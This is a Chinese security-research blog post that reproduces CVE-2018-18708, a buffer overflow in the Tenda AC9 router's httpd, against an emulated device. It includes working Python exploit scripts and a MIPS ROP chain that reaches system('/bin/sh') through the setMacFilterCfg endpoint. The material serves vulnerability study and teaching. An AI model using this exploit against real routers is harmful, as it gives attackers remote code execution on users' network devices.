查看原文
其他

CVE-2018-18708 TENDA缓冲区溢出漏洞

The_Itach1 看雪学苑 2022-08-18


本文为看雪论坛精华文章

看雪论坛作者ID:The_Itach1


相比于之前的CVE-2018-5767,这个cve影响的路由器挺多,有arm架构,有mips架构的,本次实验的就是一个mips架构的Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01。
 
来学习下mips架构下的一些不同之处。
 
然后后面我也基于这个固件的httpd程序,参考mipsAudit写了一个idapython辅助分析脚本,https://github.com/The-Itach1/Audit





漏洞简介


CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。
 
Tenda AC9 US_AC9V3.0RTL_V15.03.06.42_multi_TD01固件下载:https://www.tenda.com.cn/service/download-cata-11.html





仿真模拟


binwalk导出固件文件系统,没有加固这些。
binwalk -Me US_AC9V3.0RTL_V15.03.06.42_multi_TD01.bin

查看文件信息,mips,小端序,所以需要使用对应的qemu-mipsel-static来模拟。
readelf -h ./bin/httpd


同样和之前的tenda路由器设备,都需要patch下,mips的调用函数有点不一样,常规来说是下面这种方式,先la将函数地址给v0,然后给t9,然后在跳转到函数。
la $v0, websGetVarmove $t9, $v0jalr $t9 ; websGetVar

所以想patch,直接patch掉jalr这一句就行,然后将v0寄存器赋值为1即可。
 
建立一个虚拟网桥br0。
sudo apt install uml-utilities bridge-utilssudo brctl addbr br0sudo brctl addif br0 ens33sudo ifconfig br0 upsudo dhclient br0

尝试qemu启动,即可启动。
cp $(which qemu-mipsel-static) . sudo chroot ./ ./qemu-mipsel-static ./bin/httpd




漏洞分析


漏洞点在parse_macfilter_rule函数中的strcpy(a2, v4),这个函数不会引发栈溢出,复制的字符串,实际上在后面的分析中发现是上一个函数的局部变量,从而在上一个函数造成栈溢出。
 
通过交叉引用我们可以得到这样的函数调用链,我们采用动调的方式,配合静态,依次来分析,并构造出一个测试的poc。
 
formDefineTendDa->formSetMacFilterCfg->set_macfilter_rules->set_macfilter_rules_by_one->parse_macfilter_rule
 
formDefineTendDa函数,这是一个包含路由器接口和其对应处理函数的总函数。
 
先访问下这个接口,"http://192.168.112.131/goform/setMacFilterCfg",抓个包,需要访问两次,第一次好像并没有访问到此接口。

然后查看下返回的包。

返回了个{"errCode":2},我们到formSetMacFilterCfg函数内部,查看setMacFilterCfg接口对应的处理过程,需要注意的是这些地方。
Var = (const char *)websGetVar(a1, "macFilterType", &unk_52346C);v2 = set_macfilter_mode(Var); ......reload_macfilter_rules_to_wireless(Var);

首先我们需要知道websGetVar这个函数,这个函数实际上就是在从前端传过来的表单中获取对应的值。
 
结合ida动调分析如下。

现在我们知道了为什么会返回{"errCode":2},所以现在的关键点就在于如何让set_macfilter_mode函数返回0,传给这个函数参数为websGetVar获取到macFilterType的具体值。
 
进入set_macfilter_mode函数内部,发现其对传入的值进行的strcmp比较,从而决定返回的值。

所以必须post传参,"macFilterType": "black",或者white。
 
然后回到formSetMacFilterCfg,下面还websGetVar了一个"deviceList",然后会进入set_macfilter_rules,参数为macFilterType的值和deviceList的值。
 
分析set_macfilter_rules函数。

进入set_macfilter_rules_by_one,实际上这个才是会发生溢出的函数,其v4变量会由于parse_macfilter_rule中的strcpy导致溢出而覆盖返回地址。

进入parse_macfilter_rule函数,分析得知,deviceList第一个字节必须是'\r'。
 
到这里溢出产生原因和具体影响的函数就分析完了,现在主要的就是去找偏移,找偏移的方法很多,可以利用cyclic,可以gdb调试然后去查看栈空间,可以在ida的Stack窗口去查看一个大概的范围。
 
这里我就直接通过ida来判断一个大概的范围,然后再写exp,去用gdb调试获取真正的偏移。

然后计算一下,偏移大概就是在472或者476的样子,我们编写exp进行测试。
import requestsfrom pwn import * url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}data = {"macFilterType": "black", "deviceList":"\r" + "A" * 472 + "bbbb"} requests.post(url, cookies=cookie, data=data)

用pwngdb进行调试。

可以看到刚刚好。





漏洞利用


寻找libc基址


漏洞利用首先需要找到libc.so.0的基址,同样和之前的CVE-2018-5767一样,同样vmmap无法使用,但是这里我还是找到了一个比较特殊的方法找到了基址。
 
我在strcpy处打了个断点,然后发现并没有在相关位置断下来,然后就bt查看调用链,发现了调用了uClibc_main,根据ida的交叉引用也可以直接到相应位置,这个位置感觉相当于mips程序的start函数。

然后用ida载入libc.so.0,去exports查看对应的函数地址,发现在0x0005F804,当然也可以用readelf -s ./lib/libc.so.0 | grep uClibc_main。

然后我以为两个地址相减就可以得到libc基址的时候,0x7f583a08-0x0005F804=0x7F524204,实际上明显可以看出不对,一般基址后面几个数会是0。
 
抱着试一试的想法去看看能不能跳到system,编写exp如下。
import requestsfrom pwn import * url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"} libc_base=0x7f583a08-0x0005F804system=0x0060320 system_addr=libc_base+system data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)} requests.post(url, cookies=cookie, data=data)

在溢出最后的跳转处,0x04E8204打断点,运行exp,断下来。

可以看到运气较好的是,我们仍然在libc中,但是不知道具体位置,这时候我们可以用ida的字符串搜索功能,去尝试搜索到对应的位置。
 
这里我是alt+t搜索addiu $sp, 0x30,当然搜索syscall也行。并且再次根据后两个字节4c过滤了大量结果。

成功找到对应偏移位置,0x0006054C,由于关了aslr,所以基址不变,得到libc_base=0x7f58454c - 0x0006054C = 0x7F524000
 
测试下能不能到system。
import requestsfrom pwn import * url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"} libc_base=0x7f58454c - 0x0006054system=0x0060320 system_addr=libc_base+system data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(system_addr)} requests.post(url, cookies=cookie, data=data)

构造rop链


对于mips下rop链的构造,经常使用到的是move $a0 $s0,我们使用mipsrop去查找一些可用的。
 
先下载mipsrop插件,随便都可以百度到,然后使用。
 
7.5版本以上的ida先执行下面的语句。
import mipsropmipsrop = mipsrop.MIPSROPFinder()

然后mipsrop.find("move $a0 $s0"),可用的很多,这里我就直接选择第一个,这个就作为gadget2。
.text:0000DC1C move $a0, $s0.text:0000DC20 move $t9, $s1.text:0000DC24 jalr $t9 ; stat64

当然我们还需要给里面的寄存器赋值,将$s0赋值为"/bin/sh"的地址,将$s1赋值为system的地址,这样就可以达到执行system("/bin/sh")的目的。
 
实际上我们之前得到错误的system的地址的那些代码就可以作为给寄存器赋值的语句,并且可以跳转到gadget2。
.text:00060530 lw $ra, 0x18+var_s14($sp).text:00060534.text:00060534 loc_60534: # CODE XREF: sub_603D8+138↑j.text:00060534 lw $s4, 0x18+var_s10($sp).text:00060538 lw $s3, 0x18+var_sC($sp).text:0006053C lw $s2, 0x18+var_s8($sp).text:00060540 lw $s1, 0x18+var_s4($sp).text:00060544 lw $s0, 0x18+var_s0($sp).text:00060548 jr $ra.text:0006054C addiu $sp, 0x30

00060530+base就作为gadget1。
 
我们根据上面的代码,根据栈偏移,控制对$ra,$s1,$s0的赋值,最终rop链为
b"\r" + b"A" * 472 + p32(gadget1)+b"A"*24+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)

报错解决即溯源

用上面的exp打一下,会报错。

这里爆了个访问错误,$v0应该是个地址,但是变成了我们的0x41414141。
 
通过我们之前验证是否能到system函数可知,只覆盖返回地址是可以的,虽然会把上一级函数fp给覆盖掉,但是我们也不需要返回到上一级函数了。
 
使用ida调试,最终发现会在set_macfilter_rules_by_one函数中snprintf函数报错。
snprintf(v5, 0x80u, "macfilter.%s.list%d", a1, a3);

为了区别我用下面的exp打一下。
import requestsfrom pwn import * url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"}#libc_base=0x7f583a08-0x0005F804 libc_base=0x7f58452c-0x0006052Clib=0x7F524000system=0x0060320binsh=0x0006AE30 gadget1=libc_base+0x00060530gadget2=libc_base+0x0000DC1Csystem_addr=libc_base+systembinsh_addr=libc_base+binsh data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)b"bbbb"+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)} requests.post(url, cookies=cookie, data=data)

ida远程调试。
 
第一个注意的点就是传给set_macfilter_rules_by_one的3个参数在进入set_macfilter_rules_by_one函数后保存的位置,主要关注第一个参数,也就是macFilterType值的地址。

而恰好,set_macfilter_rules_by_one在执行完parse_macfilter_rule函数,发生了溢出后,后面的snprintf函数调用了a1,也就是第一个参数,且a1是一个地址,但是按照我们playload覆盖后a1将变为一个值,所以会照成访问异常。
 
执行到snprintf。
 
解决这个错误也很简单,将b"bbbb",修改为一可访问地址值就行,而且snprintf也限制了长度,不用担心溢出这些。

最终exp以及调试


exp
import requestsfrom pwn import * url = "http://192.168.112.131/goform/setMacFilterCfg"cookie = {"Cookie":"password=1111"} #libc_base=0x7f583a08-0x0005F804libc_base=0x7f58452c-0x0006052Clib=0x7F524000system=0x0060320binsh=0x0006AE30 gadget1=libc_base+0x00060530gadget2=libc_base+0x0000DC1Csystem_addr=libc_base+systembinsh_addr=libc_base+binsh data = {"macFilterType": "black", "deviceList":b"\r" + b"A" * 472 + p32(gadget1)+p32(0x7FFFF090)+b"A"*20+p32(binsh_addr)+p32(system_addr)+b"A"*12+p32(gadget2)} requests.post(url, cookies=cookie, data=data)

ida或者gdb调都行。
 
gadget1

gadget2

getshell





总结


这次复现,感觉对mips架构的一些指令以及函数调用更加清晰了,而且也学会了mips中如何构建简单的rop链。


参考


https://www.anquanke.com/post/id/254426#h3-5




看雪ID:The_Itach1

https://bbs.pediy.com/user-home-926755.htm

*本文由看雪论坛 The_Itach1 原创,转载请注明来自看雪社区



# 往期推荐

1.CobaltStrike ShellCode详解

2.Android APP漏洞之战——SQL注入漏洞初探

3.House of apple 一种新的glibc中IO攻击方法

4.so文件分析的一些心得

5.从PWN题NULL_FXCK中学到的glibc知识

6.指令级工具Dobby源码阅读






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存